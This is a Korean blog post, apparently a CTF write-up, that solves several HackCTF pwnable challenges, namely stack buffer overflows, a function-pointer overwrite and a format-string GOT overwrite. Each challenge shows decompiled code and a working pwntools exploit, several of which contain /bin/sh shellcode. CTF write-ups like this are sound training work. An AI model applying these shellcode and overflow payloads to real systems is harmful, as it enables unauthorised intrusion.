728x90

1. 내 버퍼가 흘러넘친다!!!

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 0x32u);
  printf("input : ");
  gets(&s);
  return 0;
}

전역변수 name에 shellcode를 넣고 gets에서 ret를 name의 주소로 조작했다.

from pwn import *
#p = remote(" ", )
p=process("./prob1")
elf=ELF("./prob1")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p.sendlineafter("Name :",shellcode)
p.sendlineafter("input :","a"*0x18 + p32(elf.symbols['name']))

p.interactive()

 

 

 

2. x64 Bufffer Overflow

ida가 있으면 어렵지 않은 문제.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s, argv);
  return 0;
}

그냥 거리가 달라졌을뿐이다

from pwn import *
p = process("./64bof_basic")
elf = ELF("./64bof_basic")
payload = "a"*0x118 + p64(elf.symbols['callMeMaybe'])
p.sendline(payload)
p.interactive()                                                            

 

 

 

3. x64 Simple_size_BOF

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-6D30h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&s);
  printf("buf: %p\n", &v4);
  gets(&v4);
  return 0;
}

nx안걸려있음, buf주소를 줌 >> shellcode 넣고 ret를 buf주소로 덮자

from pwn import *

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz",3005)
p.recvuntil("buf: ")
buf_addr = int(p.recv(14),16)
print hex(buf_addr)
payload = shellcode + "\x90"*(0x6d38 - len(shellcode)) + p64(buf_addr)
p.sendline(payload)
p.interactive()

 

 

 

4. Simple_Overflow_ver_2

중간에 막혔었는데 이유가 다른 비트의 shellcode를 넣어서였다 ;; 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx
  char v5; // [esp+13h] [ebp-89h]
  char s[128]; // [esp+14h] [ebp-88h]
  int i; // [esp+94h] [ebp-8h]

  setvbuf(stdout, 0, 2, 0);
  v5 = 'y';
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\n]s", s) )
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break;
        if ( !(i & 0xF) )
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 'y' || v5 == 'Y') );
  return 0;
}

입력을 받으면서 주소를 알려주고, 다시 입력받을 수 있으므로 첫번째 입력엔 주소를 받고 후에 shellcode를 넣는다.

 

from pwn import *
p = process("./Simple_overflow_ver_2")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = shellcode + "\x90"*(0x8c-len(shellcode))

p.sendline("a")
p.recvuntil("Data : ")
buf_addr = int(p.recv(10),16)
print hex(buf_addr)
p.sendlineafter("(y/n): ","y")
payload += p32(buf_addr)


pause()


p.sendlineafter("Data : ",payload)
p.sendlineafter("(y/n): ","n")
p.interactive()

 

728x90

'pwnable > HackCTF' 카테고리의 다른 글

Rate 100  (0) 2021.03.09
728x90

1. Basic_BOF

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != 3735928559 )
    puts("\nYou are on the right way!");
  if ( v5 == 3735928559 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

변수 s와 v5 사이의 거리가 40인데 45를 받고 있고 마침 충족시켜야하는 데이터 크기도 5바이트라서 단순하게 풀린다.

from pwn import *
p = process("./bof_basic")
payload = "a"*40 + p32(3735928559)
p.sendline(payload)
p.interactive()

 

2. Basic_BOF 2

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

그냥 ret를 덮으려고 하니 거리는 136인데 input을 133개를 받아 불가능하다. 따라서 v5변수를 다른 주소로 덮었다.

(shell 주소가 주어짐)

from pwn import *
p=process("./bof_basic2")
elf=ELF("./bof_basic2")
payload = "a"*128 + p32(elf.symbols['shell'])
p.sendline(payload)
p.interactive()

3. Basic_fsb

int vuln()
{
  char s; // [esp+0h] [ebp-808h]
  char format; // [esp+400h] [ebp-408h]

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}

첫 입력 다음 4바이트에서 첫 입력값을 가지고 있으므로 printf의 got를 flag함수의 주소로 바꿔준다.

printf got + %add(flag)x + %n

from pwn import *
p=process("./basic_fsb")
elf=ELF("./basic_fsb")
payload =  p32(elf.got['printf']) + "%134514096x" + "%n"
p.sendline(payload)
p.interactive()

 

728x90

'pwnable > HackCTF' 카테고리의 다른 글

Rate 150 (4문항)  (2) 2021.03.15

+ Recent posts